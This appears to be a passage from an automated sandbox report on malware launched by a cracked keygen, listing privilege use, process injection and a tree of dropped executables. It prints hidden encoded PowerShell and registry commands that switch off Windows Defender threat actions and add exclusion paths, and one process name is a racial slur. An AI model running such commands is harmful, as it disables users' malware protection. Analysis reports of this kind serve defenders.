description pid Process Token: SeDebugPrivilege 3236 Setup.exe Token: SeCreateTokenPrivilege 632 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 632 askinstall20.exe Token: SeLockMemoryPrivilege 632 askinstall20.exe Token: SeIncreaseQuotaPrivilege 632 askinstall20.exe Token: SeMachineAccountPrivilege 632 askinstall20.exe Token: SeTcbPrivilege 632 askinstall20.exe Token: SeSecurityPrivilege 632 askinstall20.exe Token: SeTakeOwnershipPrivilege 632 askinstall20.exe Token: SeLoadDriverPrivilege 632 askinstall20.exe Token: SeSystemProfilePrivilege 632 askinstall20.exe Token: SeSystemtimePrivilege 632 askinstall20.exe Token: SeProfSingleProcessPrivilege 632 askinstall20.exe Token: SeIncBasePriorityPrivilege 632 askinstall20.exe Token: SeCreatePagefilePrivilege 632 askinstall20.exe Token: SeCreatePermanentPrivilege 632 askinstall20.exe Token: SeBackupPrivilege 632 askinstall20.exe Token: SeRestorePrivilege 632 askinstall20.exe Token: SeShutdownPrivilege 632 askinstall20.exe Token: SeDebugPrivilege 632 askinstall20.exe Token: SeAuditPrivilege 632 askinstall20.exe Token: SeSystemEnvironmentPrivilege 632 askinstall20.exe Token: SeChangeNotifyPrivilege 632 askinstall20.exe Token: SeRemoteShutdownPrivilege 632 askinstall20.exe Token: SeUndockPrivilege 632 askinstall20.exe Token: SeSyncAgentPrivilege 632 askinstall20.exe Token: SeEnableDelegationPrivilege 632 askinstall20.exe Token: SeManageVolumePrivilege 632 askinstall20.exe Token: SeImpersonatePrivilege 632 askinstall20.exe Token: SeCreateGlobalPrivilege 632 askinstall20.exe Token: 31 632 askinstall20.exe Token: 32 632 askinstall20.exe Token: 33 632 askinstall20.exe Token: 34 632 askinstall20.exe Token: 35 632 askinstall20.exe Token: SeDebugPrivilege 1032 multitimer.exe Token: SeDebugPrivilege 4040 taskkill.exe Token: SeDebugPrivilege 904 MicrosoftEdge.exe Token: SeDebugPrivilege 904 MicrosoftEdge.exe Token: SeDebugPrivilege 904 MicrosoftEdge.exe Token: SeDebugPrivilege 904 MicrosoftEdge.exe Token: SeDebugPrivilege 4436 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4436 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4436 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4436 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4748 multitimer.exe Token: SeManageVolumePrivilege 4648 md2_2efs.exe Token: SeManageVolumePrivilege 4648 md2_2efs.exe Token: SeManageVolumePrivilege 4648 md2_2efs.exe Token: SeDebugPrivilege 4848 vpn.tmp Token: SeDebugPrivilege 4848 vpn.tmp Token: SeDebugPrivilege 4988 powershell.exe Token: SeDebugPrivilege 5112 powershell.exe Token: SeRestorePrivilege 2756 WerFault.exe Token: SeBackupPrivilege 2756 WerFault.exe Token: SeBackupPrivilege 2756 WerFault.exe Token: SeDebugPrivilege 2756 WerFault.exe Token: SeDebugPrivilege 4416 AwesomePoolU1.exe Token: SeSecurityPrivilege 5232 msiexec.exe Token: SeCreateTokenPrivilege 4660 1afan31zrrr.exe Token: SeAssignPrimaryTokenPrivilege 4660 1afan31zrrr.exe Token: SeLockMemoryPrivilege 4660 1afan31zrrr.exe Token: SeIncreaseQuotaPrivilege 4660 1afan31zrrr.exe Token: SeMachineAccountPrivilege 4660 1afan31zrrr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3220 Setup3310.tmp 3900 i0bjlfnxokh.tmp 4660 1afan31zrrr.exe 4324 vict.tmp 4804 IBInstaller_97039.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp -
Suspicious use of SetWindowsHookEx 64 IoCs
pid Process 2112 setups.exe 3812 setups.tmp 904 MicrosoftEdge.exe 4368 MicrosoftEdgeCP.exe 4368 MicrosoftEdgeCP.exe 1032 vict.exe 2560 i0bjlfnxokh.exe 4632 Setup3310.exe 3220 Setup3310.tmp 2316 vhusku3rqwv.exe 3900 i0bjlfnxokh.tmp 4324 vict.tmp 4100 IBInstaller_97039.exe 4108 vpn.exe 4848 vpn.tmp 4804 IBInstaller_97039.tmp 4424 xuezhe3wrql.exe 4368 app.exe 1172 winhost.exe 2832 winlthsth.exe 1036 chrome_proxy.exe 4640 MicrosoftEdge.exe 5188 Setup.exe 5324 customer5.exe 5344 hjjgaa.exe 5392 jg7_7wjg.exe 5424 LabPicV3.exe 5524 lylal220.exe 5596 LabPicV3.tmp 5700 main.exe 5800 lylal220.tmp 2688 tapinstall.exe 6076 MicrosoftEdgeCP.exe 4488 jfiag3g_gg.exe 5292 1765025.exe 5108 7za.exe 6328 2206815.exe 6392 7za.exe 6544 irecord.exe 6572 prolab.exe 6632 irecord.tmp 6692 prolab.tmp 6496 jfiag3g_gg.exe 5376 MicrosoftEdgeCP.exe 6728 schtasks.exe 412 parse.exe 5992 k7pW4NSWZmpdZPrHY4aLp4p0.exe 6424 PlxLa8L6OnZIFF0RgXYOAQ3G.exe 5204 AMUgaVk6FcRLMySk7lnxBW6t.exe 5196 SyRKChyKMlzw2xirpLHPvuxF.exe 5664 rrkNCVMiOwmBHrYmh9nlzr5E.exe 6540 vfnpjk2o1XjHQMT5lYZ6tfL8.exe 6364 tapinstall.exe 968 nigger.exe 2736 SyRKChyKMlzw2xirpLHPvuxF.exe 5556 nigger.exe 2192 MicrosoftEdge.exe 5420 gaooo.exe 7344 gaooo.exe 7884 MicrosoftEdgeCP.exe 3208 xuezhe3wrql.exe 496 7za.exe 8276 jfiag3g_gg.exe 8332 74201405900.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1108 wrote to memory of 2528 1108 3d_Video_Player_4_5_serial_maker.exe 79 PID 1108 wrote to memory of 2528 1108 3d_Video_Player_4_5_serial_maker.exe 79 PID 1108 wrote to memory of 2528 1108 3d_Video_Player_4_5_serial_maker.exe 79 PID 2528 wrote to memory of 3444 2528 cmd.exe 82 PID 2528 wrote to memory of 3444 2528 cmd.exe 82 PID 2528 wrote to memory of 3444 2528 cmd.exe 82 PID 2528 wrote to memory of 1196 2528 cmd.exe 83 PID 2528 wrote to memory of 1196 2528 cmd.exe 83 PID 2528 wrote to memory of 1196 2528 cmd.exe 83 PID 2528 wrote to memory of 1736 2528 cmd.exe 84 PID 2528 wrote to memory of 1736 2528 cmd.exe 84 PID 2528 wrote to memory of 1736 2528 cmd.exe 84 PID 2528 wrote to memory of 3784 2528 cmd.exe 85 PID 2528 wrote to memory of 3784 2528 cmd.exe 85 PID 2528 wrote to memory of 3784 2528 cmd.exe 85 PID 3444 wrote to memory of 1876 3444 keygen-pr.exe 86 PID 3444 wrote to memory of 1876 3444 keygen-pr.exe 86 PID 3444 wrote to memory of 1876 3444 keygen-pr.exe 86 PID 3784 wrote to memory of 3236 3784 keygen-step-4.exe 87 PID 3784 wrote to memory of 3236 3784 keygen-step-4.exe 87 PID 1736 wrote to memory of 3904 1736 keygen-step-3.exe 88 PID 1736 wrote to memory of 3904 1736 keygen-step-3.exe 88 PID 1736 wrote to memory of 3904 1736 keygen-step-3.exe 88 PID 3904 wrote to memory of 2324 3904 cmd.exe 90 PID 3904 wrote to memory of 2324 3904 cmd.exe 90 PID 3904 wrote to memory of 2324 3904 cmd.exe 90 PID 1876 wrote to memory of 3412 1876 key.exe 91 PID 1876 wrote to memory of 3412 1876 key.exe 91 PID 1876 wrote to memory of 3412 1876 key.exe 91 PID 3236 wrote to memory of 1032 3236 Setup.exe 92 PID 3236 wrote to memory of 1032 3236 Setup.exe 92 PID 3236 wrote to memory of 2112 3236 Setup.exe 93 PID 3236 wrote to memory of 2112 3236 Setup.exe 93 PID 3236 wrote to memory of 2112 3236 Setup.exe 93 PID 3784 wrote to memory of 632 3784 keygen-step-4.exe 94 PID 3784 wrote to memory of 632 3784 keygen-step-4.exe 94 PID 3784 wrote to memory of 632 3784 keygen-step-4.exe 94 PID 2112 wrote to memory of 3812 2112 setups.exe 95 PID 2112 wrote to memory of 3812 2112 setups.exe 95 PID 2112 wrote to memory of 3812 2112 setups.exe 95 PID 632 wrote to memory of 2340 632 askinstall20.exe 97 PID 632 wrote to memory of 2340 632 askinstall20.exe 97 PID 632 wrote to memory of 2340 632 askinstall20.exe 97 PID 2340 wrote to memory of 4040 2340 cmd.exe 100 PID 2340 wrote to memory of 4040 2340 cmd.exe 100 PID 2340 wrote to memory of 4040 2340 cmd.exe 100 PID 1032 wrote to memory of 4612 1032 multitimer.exe 105 PID 1032 wrote to memory of 4612 1032 multitimer.exe 105 PID 3784 wrote to memory of 4648 3784 keygen-step-4.exe 106 PID 3784 wrote to memory of 4648 3784 keygen-step-4.exe 106 PID 3784 wrote to memory of 4648 3784 keygen-step-4.exe 106 PID 4612 wrote to memory of 4748 4612 multitimer.exe 107 PID 4612 wrote to memory of 4748 4612 multitimer.exe 107 PID 4368 wrote to memory of 4436 4368 app.exe 104 PID 4748 wrote to memory of 1032 4748 multitimer.exe 109 PID 4748 wrote to memory of 1032 4748 multitimer.exe 109 PID 4748 wrote to memory of 1032 4748 multitimer.exe 109 PID 4748 wrote to memory of 2560 4748 multitimer.exe 108 PID 4748 wrote to memory of 2560 4748 multitimer.exe 108 PID 4748 wrote to memory of 2560 4748 multitimer.exe 108 PID 4748 wrote to memory of 4632 4748 multitimer.exe 110 PID 4748 wrote to memory of 4632 4748 multitimer.exe 110 PID 4748 wrote to memory of 4632 4748 multitimer.exe 110 PID 4632 wrote to memory of 3220 4632 Setup3310.exe 121 -
Views/modifies file attributes 1 TTPs 4 IoCs
pid Process 7476 attrib.exe 8580 attrib.exe 7164 attrib.exe 6800 attrib.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2576
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2568
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
PID:2476 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:4652
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2328
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2296
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1952
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1456
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1280
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1216
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1088
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in Windows directory
PID:856 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵PID:6928
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵PID:5228
-
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\JRSbMVr.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\JRSbMVr.exe 9n /site_id 754 /S2⤵PID:9856
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"3⤵PID:10004
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:876
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:325⤵PID:8108
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:644⤵PID:7876
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:324⤵PID:8156
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:644⤵PID:10812
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:324⤵PID:9876
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:644⤵PID:7232
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:324⤵PID:6716
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:644⤵PID:10684
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:324⤵PID:6640
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:644⤵PID:6312
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:324⤵PID:5256
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:644⤵PID:8196
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:324⤵PID:8604
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:644⤵PID:1144
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:324⤵PID:5692
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:644⤵PID:8528
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:324⤵PID:852
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:644⤵PID:6060
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:324⤵PID:6300
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:644⤵PID:9696
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EvBjrtBtUyzDC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EvBjrtBtUyzDC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TZXwQNgcU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TZXwQNgcU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mDMOhBxZSaUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mDMOhBxZSaUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nZosbjLfGLdU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nZosbjLfGLdU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ogqTxBaMVNngTiWEorR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ogqTxBaMVNngTiWEorR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\otlZYwPmfIE\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\otlZYwPmfIE\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\achrhaRRbsGknaVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\achrhaRRbsGknaVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ptSbhgFrGptQLEdh\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ptSbhgFrGptQLEdh\" /t REG_DWORD /d 0 /reg:64;"3⤵PID:7864
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EvBjrtBtUyzDC" /t REG_DWORD /d 0 /reg:324⤵PID:5532
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EvBjrtBtUyzDC" /t REG_DWORD /d 0 /reg:325⤵PID:2796
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EvBjrtBtUyzDC" /t REG_DWORD /d 0 /reg:644⤵PID:5088
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TZXwQNgcU" /t REG_DWORD /d 0 /reg:324⤵PID:2628
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TZXwQNgcU" /t REG_DWORD /d 0 /reg:644⤵PID:11064
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mDMOhBxZSaUn" /t REG_DWORD /d 0 /reg:324⤵PID:7744
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mDMOhBxZSaUn" /t REG_DWORD /d 0 /reg:644⤵PID:8188
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nZosbjLfGLdU2" /t REG_DWORD /d 0 /reg:324⤵PID:2884
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nZosbjLfGLdU2" /t REG_DWORD /d 0 /reg:644⤵PID:6444
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogqTxBaMVNngTiWEorR" /t REG_DWORD /d 0 /reg:324⤵PID:4852
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogqTxBaMVNngTiWEorR" /t REG_DWORD /d 0 /reg:644⤵PID:9136
-
-
